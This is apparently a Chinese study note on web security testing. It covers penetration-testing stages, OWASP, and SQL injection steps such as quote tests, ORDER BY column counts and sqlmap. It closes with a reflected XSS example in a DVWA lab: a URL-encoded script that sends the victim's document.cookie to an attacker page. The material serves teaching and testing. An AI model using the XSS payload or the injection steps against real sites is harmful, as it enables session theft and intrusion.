web安全测试
web安全测试是指:
检验web产品抵抗网络攻击能力的一个过程
web攻击两个特点:1.影响范围广;2.经济损失大
安全测试的三种方式
-
代码静态扫描
工具:Fortify,sonarqube等
-
内存扫描
可以使用杀毒软件
-
黑盒动态测试(也叫渗透测试)
模拟黑客对系统进行攻击
渗透测试三个阶段(过程)
-
收集信息
比如收集ip地址、操作系统、中间件、版本号、数据库类型等等
-
发现漏洞、验证漏洞
开始发起攻击
-
利用漏洞
渗透测试的两个特点
-
渗透测试是个逐渐渗透的过程
-
不能影响业务系统的正常运行
安全测试的过程可能会破坏正常系统的运行,所以一般需要在测试环境中进行渗透测试,但也有在生产环境下进行渗透测试的情况
OWASP
OWASP是一个网络安全组织
OWASP TOP 10
漏洞一:SQL注入
注入攻击过程
-
寻找注入点
如?id=1后面加单引号或双引号,如果报错说明存在注入点
-
判断数据库类型
-
端口扫描判断
不太靠谱,工具容易被系统屏蔽,数据库端口号可以更改
使用工具:nmap
oracle端口号为1521,sql sever端口号为1433,mysql端口号为:3306
-
通过报错信息判断
如果报错信息不在屏幕输出,就看不到了
-
通过工具判断
比较靠谱
sqlmap
-
-
判断注入类型
多加一个单引号,肯定报错,
然后再在新加的单引号后面加一个#号 (%23)
如果报错,那么就是数字型 -
判断查询列数
使用order by+数字,判断当前表列数
-
寻找显示位
-
执行注入操作
漏洞二:XSS攻击
跨站脚本攻击,通过让用户在游览器执行黑客的JS脚本,来获取用户信息
步骤:
-
构造一个黑客网站
-
构造一个用于攻击的URL
http://localhost/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location=%27http://localhost/xss-test/cookie.php%3fcookie%3d%27%2bdocument.cookie%3C%2Fscript%3E#
- 诱使受害者访问该链接
- 黑客的js被触发,获取受害者的cookie信息